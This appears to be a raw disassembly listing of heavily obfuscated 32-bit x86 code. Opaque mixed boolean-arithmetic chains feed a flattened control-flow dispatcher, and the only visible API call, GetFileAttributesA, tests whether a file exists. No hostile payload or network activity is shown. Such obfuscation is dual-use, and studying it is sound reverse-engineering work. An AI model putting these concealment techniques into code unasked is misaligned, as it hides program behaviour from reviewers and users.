or eax, edx
xor ecx, eax
mov eax, ecx
and eax, 0x8cd5df68
xor ecx, 0x8cd5df68
or eax, ecx
mov ecx, 0x93b4e691
xor edx, edx
div ecx
add eax, 0xeef53f6
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7e0d7792
mov esi, 0xffffffff
xor esi, 0x7e0d7792
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x7e0d7792
or eax, 0x7e0d7792
imul eax, edx
add eax, ecx
imul eax, eax, 0x88c4b579
and eax, 0x8132c7ae
mov edx, 0xffffffff
xor edx, 0x5c210da1
mov ecx, eax
xor ecx, edx
and ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xb77336e1
mov edx, 0xffffffff
xor edx, 0xb77336e1
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
and eax, 0x1426ee65
xor ecx, 0x1426ee65
or eax, ecx
imul eax, eax, 0xf1384a25
mov ecx, 0x631aa815
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
sub ecx, 0x73b450b3
sub ecx, 0x7d7bc9b0
add ecx, 0x73b450b3
add ecx, 0x97687243
imul ecx, ecx, 0x9b193ad1
imul esi, ecx, 0x4a9ee814
mov ecx, 0xf4b574dc
mov edx, 0x3ad4b4a8
cmp esi, 0xecfe1a99
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x1022930c]
mov edx, dword [0x10229310]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x3f4d2db6
mov edx, 0xffffffff
xor edx, 0x3f4d2db6
and eax, edx
sub eax, ecx
xor ecx, ecx
sub ecx, 0x311f54e8
add eax, ecx
and eax, 0xcea4d777
mov ecx, eax
xor ecx, 0xfdfb914c
mov edx, 0xffffffff
xor edx, 0xfdfb914c
and eax, edx
shl eax, 1
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x1805123a
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x1805123a
or eax, 0x1805123a
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0x32745efc
shl ecx, 1
add eax, 0x32745efc
sub eax, ecx
and eax, 0x89cfc252
imul ecx, eax, 0xefcf9e1f
add ecx, 0xc7252fb0
sub ecx, 0x65c53a04
sub ecx, 0xc7252fb0
or ecx, 0xcfcc90af
mov eax, 0xffffffff
xor eax, 0xc2fae859
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
mov eax, ecx
and eax, 0xa6e7542e
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xa6e7542e
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x216f8a90
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x8543361
xor eax, 0x8543361
or ecx, eax
mov esi, 0xffffffff
xor esi, 0x5a80ccc8
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x5a80ccc8
or ecx, 0x5a80ccc8
imul ecx, edx
add ecx, eax
add ecx, 0x39012124
add ecx, 0x9a8b55e2
and ecx, 0xbc3e6728
or ecx, 0x16cf9e3a
add ecx, 0x68a012e5
and ecx, 0x47ced448
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xbf562489
and ecx, 0xbf562489
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xa3ffca4c
xor edx, edx
div ecx
mov ecx, 0x87c16748
xor edx, edx
div ecx
mov ecx, 0x65bace50
xor edx, edx
div ecx
xor eax, 0x922309a3
mov ecx, 0x55fd1e2a
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0x66b08d4d
add eax, ecx
add eax, 1
sub eax, 0xd9cc81d7
sub eax, 0xbb680a5
add eax, 0xd9cc81d7
mov edx, eax
xor edx, 0xffffffff
and edx, 0x6fc7abaf
mov esi, 0xffffffff
xor esi, 0x6fc7abaf
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x6fc7abaf
or eax, 0x6fc7abaf
imul eax, edx
add eax, ecx
mov ecx, 0x8e1c8bef
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
imul esi, ecx, 0x33fbd574
and esi, 0x70459247
and esi, 0x5c040655
sub esi, 0x60be72bb
mov ecx, 0xa6cb83e2
mov edx, 0x92c34e47
cmp esi, 0x111652f1
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov ecx, dword [0x10229314]
mov edx, dword [0x10229318]
mov eax, ecx
and eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, eax
and ecx, 0x87d39502
shl ecx, 1
xor eax, 0x87d39502
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x1a41716f
mov ecx, 0xffffffff
xor ecx, 0xfc0d7798
or eax, edx
or ecx, 0xfc0d7798
xor eax, 0xffffffff
and eax, ecx
sub eax, 0x86adcc9a
mov ecx, 0xda18b3a3
xor edx, edx
div ecx
mov ecx, 0xe262410a
xor edx, edx
div ecx
sub eax, 0x685ca5e1
imul eax, eax, 0x40bcb35b
mov ecx, 0x2eb5756f
xor edx, edx
div ecx
mov ecx, 0x82823e6e
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x8f6ea9c0
mov edx, 0xffffffff
xor edx, 0x8f6ea9c0
and eax, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0x5505e66e
mov edx, 0xffffffff
xor edx, 0x5505e66e
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0xd17c03c5
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x96f8a77
xor ecx, 0xffffffff
add eax, 0x96f8a77
add eax, 1
add eax, ecx
or eax, 0xa7a8d60c
xor eax, 0x17013b6c
xor eax, 0x706f438c
mov ecx, eax
and ecx, 0x19e1edfd
shl ecx, 1
add eax, 0x19e1edfd
sub eax, ecx
imul ecx, eax, 0x7c278908
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
and eax, 0xe509c123
xor eax, 0xffffffff
mov edx, 0xe509c123
and edx, 0xe509c123
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
and eax, 0x676dca5b
mov ecx, 0x5fe2cbd0
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, 0x3fbffef1
mov edx, 0xffffffff
xor edx, 0xeb2b0fc7
add ecx, edx
add ecx, 1
mov edx, ecx
xor edx, 0xb9a039ba
xor edx, 0xffffffff
or ecx, 0xb9a039ba
and ecx, edx
xor ecx, 0xd454871f
imul edi, ecx, 0xa825ed49
mov edx, edi
xor edx, 0xffffffff
and edx, 0x7b74c9c9
mov esi, 0xffffffff
xor esi, 0x7b74c9c9
mov ecx, edi
and ecx, esi
imul ecx, edx
mov edx, edi
and edx, 0x7b74c9c9
or edi, 0x7b74c9c9
imul edi, edx
add edi, ecx
and edi, 0xb929ef05
mov edx, 0xffffffff
xor edx, 0xdc2a27fe
mov ecx, edi
and ecx, edx
mov edx, edi
xor edx, 0xdc2a27fe
add edi, edx
sub edi, ecx
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xee82fd37
mov esi, 0xffffffff
xor esi, 0xee82fd37
and edi, esi
mov edx, 0xffffffff
xor edx, 0x7638d068
and edx, 0xee82fd37
and esi, 0x7638d068
or ecx, edi
or edx, esi
xor ecx, edx
and ecx, 0x83d4689d
and ecx, 0xf8ab3842
mov edx, ecx
and edx, 0x7218af95
shl edx, 1
add ecx, 0x7218af95
sub ecx, edx
mov esi, 0xffffffff
xor esi, 0xac3151fa
mov edx, ecx
and edx, esi
mov esi, ecx
xor esi, 0xac3151fa
add ecx, esi
sub ecx, edx
imul esi, ecx, 0x5a699a50
mov ecx, 0xb773546b
mov edx, 0xdbc25a25
cmp esi, 0xe3cd151d
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x1022931c]
mov edx, dword [str.__b_tq]
mov ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
mov esi, edx
xor esi, 0xffffffff
or ecx, esi
and edx, edx
xor edx, 0xffffffff
and eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
sub ecx, 0xd877c8fb
or ecx, 0x47ae961d
sub ecx, 0x97a6bdfc
sub ecx, 0x73766998
sub ecx, 0x1faa9277
add ecx, 0x73766998
xor eax, eax
sub eax, 0xf103b229
add ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc762df36
or eax, edx
mov edx, 0xc762df36
and edx, 0xc762df36
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
or eax, 0x879b20aa
xor eax, 0x1795bd7f
add eax, 0x4a82d4fc
imul eax, eax, 0x98abef4
xor eax, 0xba15a19b
mov ecx, 0x2d45a3d0
xor edx, edx
div ecx
or eax, 0xa8038806
mov ecx, 0xe99436f
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
and eax, 0x661f562d
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x661f562d
mov esi, 0xffffffff
xor esi, 0x661f562d
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0xb09eabc6
or eax, 0x98018432
imul eax, eax, 0xe74185fa
or eax, 0xecdf4ffa
mov ecx, 0x545b70c
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x50]
mov ecx, edx
and ecx, 0xce45468b
or edx, 0xce45468b
add ecx, edx
imul ecx, ecx, 0x256f2b6c
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xcd11cb38
mov esi, 0xffffffff
xor esi, 0xcd11cb38
and ecx, esi
or edx, ecx
mov ecx, edx
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
mov edx, 0xf5c12de6
or edx, 0xf5c12de6
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
imul ecx, ecx, 0x107cc4f2
imul ecx, ecx, 0x88b17b80
sub ecx, 0xc9fa47a
add ecx, 0x11826fad
add ecx, 0x720317
sub ecx, 0x11826fad
sub ecx, 0xa0cd050a
imul edx, ecx, 0x214d67f5
or edx, 0x57fafb83
and edx, 0xfbeb47e5
mov ecx, edx
or ecx, 0x828191eb
xor ecx, 0xffffffff
or edx, 0x828191eb
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xf9370412
mov edx, 0xffffffff
xor edx, 0x558f2300
or ecx, esi
or edx, 0x558f2300
xor ecx, 0xffffffff
and ecx, edx
mov esi, ecx
or esi, esi
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x8ce0687b
mov edi, 0xffffffff
xor edi, 0x8ce0687b
and edx, edi
xor esi, 0xffffffff
xor edx, 0xffffffff
and esi, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x8ce0687b
and ecx, edx
xor esi, 0xffffffff
xor ecx, 0xffffffff
and esi, ecx
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, dword [ebp - 0x54]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
cmp dword [ecx], 0xffffffff
setne cl
mov byte [ebp - 0x55], cl
mov ecx, 0xdbc25a25
mov edx, 0xbef2b8eb
cmp esi, 0x15b43cb1
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x10229324]
mov edx, dword [0x10229328]
mov ecx, eax
xor ecx, edx
xor edx, 0xffffffff
and eax, edx
shl eax, 1
sub eax, ecx
sub eax, 0x4f4ecba4
mov ecx, 0xe92bd605
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0xc01d996
shl ecx, 1
xor eax, 0xc01d996
add eax, ecx
mov ecx, eax
and ecx, 0x4f543e39
shl ecx, 1
add eax, 0x4f543e39
sub eax, ecx
mov ecx, 0x3165079f
xor edx, edx
div ecx
mov ecx, 0x20b07806
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xb4a47b59
xor ecx, 0xffffffff
or eax, 0xb4a47b59
and eax, ecx
imul eax, eax, 0xc5c8cdb6
mov ecx, 0xcf7af7c
xor edx, edx
div ecx
xor eax, 0x17d442fd
xor eax, 0x827fed81
sub eax, 0xf8b13745
sub eax, 0xcb63a6d9
mov ecx, 0xffffffff
xor ecx, 0xaffd514c
add eax, ecx
add eax, 1
xor ecx, ecx
sub ecx, 0xb1436528
sub eax, ecx
mov ecx, 0x58660c72
xor edx, edx
div ecx
mov ecx, 0x88bc8683
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x4037737b
xor eax, eax
sub eax, 0xdf75a0c5
sub ecx, eax
add ecx, 0xd96c5145
mov eax, ecx
and eax, 0x2da4bd1
shl eax, 1
xor ecx, 0x2da4bd1
add ecx, eax
xor ecx, 0x881e03f7
sub ecx, 0x6f8ec70f
sub ecx, 0xef19d30
add ecx, 0x6f8ec70f
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x21568afb
and ecx, 0x21568afb
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xd6f3bc83
or ecx, 0xd6f3bc83
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x5c], ecx
mov esi, 0xffffffff
xor esi, 0x7f1a97d4
mov edx, 0xffffffff
xor edx, 0xfcbb26a2
and ecx, 0xfcbb26a2
and eax, edx
mov edi, esi
and edi, 0xfcbb26a2
mov ebx, edx
and ebx, 0x7f1a97d4
or ecx, eax
mov eax, dword [ebp - 0x5c]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0xfcbb26a2
and eax, edx
or ecx, eax
mov eax, 0xffffffff
xor eax, 0xcc47017b
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
xor ecx, 0x58c4864
mov esi, 0xffffffff
xor esi, 0x3473cfe7
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x3473cfe7
or ecx, 0x3473cfe7
imul ecx, edx
add ecx, eax
xor ecx, 0xb1549e57
mov edx, 0xffffffff
xor edx, 0xe68d6c31
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, 0x42cd1da5
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
sub ecx, 0x7569dcea
imul esi, ecx, 0x6b5da770
add esi, 0xf7ff6db2
mov ecx, 0x92c34e47
mov edx, 0xc7f57a7c
cmp esi, 0x6a8bb7bb
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov ecx, dword [0x1022932c]
mov esi, dword [0x10229330]
mov eax, ecx
xor eax, 0xffffffff
mov edx, esi
and edx, eax
mov edi, esi
xor edi, 0xffffffff
mov eax, ecx
and eax, edi
imul eax, edx
mov edx, ecx
and edx, esi
or ecx, esi
imul ecx, edx
add ecx, eax
xor ecx, 0x239f8203
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0x79d2b8db
or eax, 0x79d2b8db
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x2f16715c
mov edx, 0xffffffff
xor edx, 0x2f16715c
and ecx, edx
or eax, ecx
imul eax, eax, 0xa15283f2
mov ecx, eax
and ecx, 0x65303eda
shl ecx, 1
add eax, 0x65303eda
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0xfc51e991
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xfc51e991
or eax, 0xfc51e991
imul eax, edx
add eax, ecx
mov ecx, 0xc7ae3c35
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x3f56591d
add ecx, 0xd1b444b4
xor ecx, 0x326d0284
mov edx, 0xffffffff
xor edx, 0x387fd868
mov eax, ecx
xor eax, edx
and eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x6e255234
mov esi, 0xffffffff
xor esi, 0x6e255234
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x6e255234
or eax, 0x6e255234
imul eax, edx
add eax, ecx
imul ecx, eax, 0x5eb204ad
xor ecx, 0x6067857b
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xe9e5a39a
mov edx, 0xffffffff
xor edx, 0xe9e5a39a
and ecx, edx
sub ecx, eax
add ecx, 0x11e069eb
mov esi, 0xffffffff
xor esi, 0xe5dfc117
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xe5dfc117
or ecx, 0xe5dfc117
imul ecx, edx
add ecx, eax
add ecx, 0x5babde8
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xd1a95240
and ecx, 0xd1a95240
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xdfd1cd81
xor edx, edx
div ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xafb6f834
or ecx, 0xafb6f834
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
xor ecx, ecx
sub ecx, 0x439d6f87
add eax, ecx
sub eax, 0x4afa27f5
add eax, 0xc9fe26b7
add eax, 0x4afa27f5
mov ecx, 0x4787c04
xor edx, edx
div ecx
mov ecx, 0x2c06a819
xor edx, edx
div ecx
mov ecx, 0x68bddc1
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0xe68a1b1a
mov edx, 0xffffffff
xor edx, 0xb1753a8f
mov eax, ecx
xor eax, edx
and eax, ecx
sub eax, 0x988eed19
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xc0ab7b20
add ecx, eax
xor eax, eax
sub eax, ecx
sub eax, 0x39f57466
mov ecx, 0x1f7c492b
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
imul ecx, ecx, 0x96c0e20c
imul esi, ecx, 0xe1fdaaaa
or esi, 0xa3708787
mov ecx, 0xef0f315e
mov edx, 0x83ded0af
cmp esi, 0xaa7515
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov ecx, dword [0x10229334]
and ecx, dword [0x10229338]
mov eax, ecx
and eax, 0x9a9bed80
or ecx, 0x9a9bed80
add eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0x9e93b668
or ecx, 0x9e93b668
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
add eax, 0x4329ed02
sub eax, 0x3a63fd50
add eax, 0xf3e3801c
add eax, 0x5bf99876
sub eax, 0xf3e3801c
mov ecx, 0x219c5f93
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0x2fc713c3
add eax, ecx
add eax, 1
mov ecx, 0x77f298ab
xor edx, edx
div ecx
mov ecx, 0x7c6f23bc
xor edx, edx
div ecx
mov ecx, 0x12e045d4
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
add edx, 0x952bf9b3
mov esi, edx
xor esi, 0xffffffff
and esi, 0x914d571d
mov edi, 0xffffffff
xor edi, 0x914d571d
mov ecx, edx
and ecx, edi
imul ecx, esi
mov esi, edx
and esi, 0x914d571d
or edx, 0x914d571d
imul edx, esi
add edx, ecx
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x2486a13d
mov ecx, 0xffffffff
xor ecx, 0x8324655c
or edx, esi
or ecx, 0x8324655c
xor edx, 0xffffffff
and edx, ecx
mov ecx, edx
xor ecx, 0x7b7a3450
mov esi, 0xffffffff
xor esi, 0x7b7a3450
and edx, esi
shl edx, 1
sub edx, ecx
sub edx, 0xb8ac347
mov ecx, edx
xor ecx, 0xffffffff
mov esi, edx
xor esi, 0xffffffff
or ecx, esi
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x5ba7ad31
or ecx, esi
mov esi, 0xffffffff
xor esi, 0x5ba7ad31
mov edi, 0xffffffff
xor edi, 0x5ba7ad31
or esi, edi
and edx, esi
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
mov edx, 0xffffffff
xor edx, 0xd47d9b13
add ecx, edx
add ecx, 1
mov esi, 0xffffffff
xor esi, 0x1e6aad71
mov edx, ecx
and edx, esi
mov esi, ecx
xor esi, 0x1e6aad71
add ecx, esi
sub ecx, edx
or ecx, 0x3504381f
mov edx, 0xffffffff
xor edx, 0x6ab4e78b
mov esi, ecx
xor esi, edx
and esi, ecx
mov edx, 0xffffffff
xor edx, 0x3306ac00
mov ecx, esi
and ecx, edx
mov edx, esi
xor edx, 0x3306ac00
add esi, edx
sub esi, ecx
sub esi, 0x55d72a9e
sub esi, 0x1401985b
add esi, 0x55d72a9e
or esi, 0x9e9226ad
mov edi, esi
xor edi, 0xffffffff
and edi, 0x66c74160
mov edx, 0xffffffff
xor edx, 0x66c74160
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x294e8a63
and ecx, 0x66c74160
and edx, 0x294e8a63
or edi, esi
or ecx, edx
xor edi, ecx
mov edx, edi
xor edx, 0xffffffff
and edx, 0x263e049
mov esi, 0xffffffff
xor esi, 0x263e049
and edi, esi
mov ecx, 0xffffffff
xor ecx, 0x1a1782e9
and ecx, 0x263e049
and esi, 0x1a1782e9
or edx, edi
or ecx, esi
xor edx, ecx
xor edx, 0x70cf7770
and edx, 0x5186feab
mov ecx, edx
add ecx, 1
xor edx, 0xffffffff
or edx, 0x33c4c0a0
add edx, ecx
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x3d165752
mov ecx, 0xffffffff
xor ecx, 0x9fd02234
or edx, esi
or ecx, 0x9fd02234
xor edx, 0xffffffff
and edx, ecx
and edx, 0x241fbd07
sub edx, 0x4623a63e
mov esi, 0xffffffff
xor esi, 0x1696f211
mov ecx, edx
xor ecx, esi
and ecx, edx
sub ecx, 0x2977e2ff
sub ecx, 0xf79c1838
add ecx, 0x2977e2ff
mov edx, ecx
and edx, 0x4b123717
shl edx, 1
xor ecx, 0x4b123717
add ecx, edx
mov esi, ecx
or esi, 0xda50212b
xor esi, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xda50212b
and ecx, edx
or esi, ecx
xor esi, 0xffffffff
mov ecx, 0xef0f315e
mov edx, 0x91aebe5b
cmp esi, 0x2ae39409
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x55]
mov ecx, 0xba1e598
mov edx, 0x72d45895
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x10229344]
add eax, dword [0x10229348]
mov ecx, 0x51f3e080
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xe57b1c06
mov esi, 0xffffffff
xor esi, 0xe57b1c06
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xe57b1c06
or eax, 0xe57b1c06
imul eax, edx
add eax, ecx
add eax, 0xc1adcc47
sub eax, 0xf5dd9efb
sub eax, 0xc1adcc47
mov ecx, 0x5be3068e
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x35803e2
or eax, 0x35803e2
add ecx, eax
mov eax, ecx
xor eax, 0x746ffe1a
xor eax, 0xffffffff
and eax, 0x746ffe1a
shl eax, 1
sub eax, 0x746ffe1a
sub ecx, eax
mov eax, ecx
and eax, 0x7fc0cfce
or ecx, 0x7fc0cfce
add eax, ecx
sub eax, 0x8000adbd
mov edx, 0xffffffff
xor edx, 0x7e20dab4
mov ecx, eax
xor ecx, edx
and ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x23d91abd
mov esi, 0xffffffff
xor esi, 0x23d91abd
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x23d91abd
or ecx, 0x23d91abd
imul ecx, edx
add ecx, eax
xor ecx, 0xf35ebbda
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x71f019f2
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x71f019f2
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0x487ee635
mov ecx, 0x44a6b35d
xor edx, edx
div ecx
mov ecx, 0xb441010b
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov esi, edx
xor esi, 0xffffffff
and esi, 0xa8eaf8be
mov edi, 0xffffffff
xor edi, 0xa8eaf8be
mov ecx, edx
and ecx, edi
imul ecx, esi
mov esi, edx
and esi, 0xa8eaf8be
or edx, 0xa8eaf8be
imul edx, esi
add edx, ecx
mov ecx, edx
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x9a5b584b
or ecx, esi
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x9a5b584b
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
imul edi, ecx, 0x6804d757
or edi, 0x6ddb7dd4
and edi, 0xe936c5e9
and edi, 0x9f207c4e
mov esi, 0xffffffff
xor esi, 0x468f664d
mov edx, edi
and edx, esi
mov ecx, edi
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, edi
and edx, 0x468f664d
or edi, 0x468f664d
imul edi, edx
add edi, ecx
mov esi, 0xffffffff
xor esi, 0x3f358320
mov edx, edi
and edx, esi
mov ecx, edi
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, edi
and edx, 0x3f358320
or edi, 0x3f358320
imul edi, edx
add edi, ecx
xor ecx, ecx
sub ecx, 0x54bb41c0
add edi, ecx
mov edx, edi
xor edx, 0xffffffff
and edx, 0x7b6268be
mov esi, 0xffffffff
xor esi, 0x7b6268be
and edi, esi
mov ecx, 0xffffffff
xor ecx, 0x47c81eec
and ecx, 0x7b6268be
and esi, 0x47c81eec
or edx, edi
or ecx, esi
xor edx, ecx
mov ecx, edx
xor ecx, 0x1a1cebf0
mov esi, 0xffffffff
xor esi, 0x1a1cebf0
and edx, esi
shl edx, 1
sub edx, ecx
xor ecx, ecx
sub ecx, 0xca3d748e
sub edx, ecx
sub edx, 0x6b04e687
mov ecx, edx
and ecx, ecx
xor ecx, 0xffffffff
and ecx, 0x9d8cca33
xor ecx, 0xffffffff
mov esi, 0x9d8cca33
and esi, 0x9d8cca33
xor esi, 0xffffffff
and edx, esi
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
mov edx, ecx
xor edx, 0x60e409a6
xor edx, 0xffffffff
and edx, 0x60e409a6
shl edx, 1
sub edx, 0x60e409a6
sub ecx, edx
xor ecx, 0x170d35d7
mov esi, ecx
or esi, esi
xor esi, 0xffffffff
mov edx, 0x53ba7186
or edx, 0x53ba7186
xor edx, 0xffffffff
xor esi, 0xffffffff
xor edx, 0xffffffff
and esi, edx
or ecx, 0x53ba7186
xor ecx, 0xffffffff
xor esi, 0xffffffff
xor ecx, 0xffffffff
and esi, ecx
sub esi, 0x70118cbc
add esi, 0x1be4e0e0
or esi, 0x906dbc6c
mov ecx, 0x12073ed7
mov edx, 0xb77f4b7
cmp esi, 0x9c26c536
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x1022934c]
mov edx, dword [0x10229350]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, edx
xor edx, 0xffffffff
and eax, edx
sub eax, ecx
sub eax, 0xc852208e
sub eax, 0x41f08982
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x68f9f07b
mov edx, 0xffffffff
xor edx, 0x68f9f07b
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
or eax, 0x2278c8b8
or eax, 0xee78cb4c
xor eax, 0xf264834e
mov ecx, eax
and ecx, 0xe27cafc4
shl ecx, 1
add eax, 0xe27cafc4
sub eax, ecx
and eax, 0x635bd8de
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x7ba374fb
mov edx, 0xffffffff
xor edx, 0x7ba374fb
and eax, edx
sub eax, ecx
mov ecx, 0xac09ec6b
xor edx, edx
div ecx
add eax, 0xc153ad6b
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xec1becf
mov ecx, 0xffffffff
xor ecx, 0xe071533e
or eax, edx
or ecx, 0xe071533e
xor eax, 0xffffffff
and eax, ecx
or eax, 0x778784fc
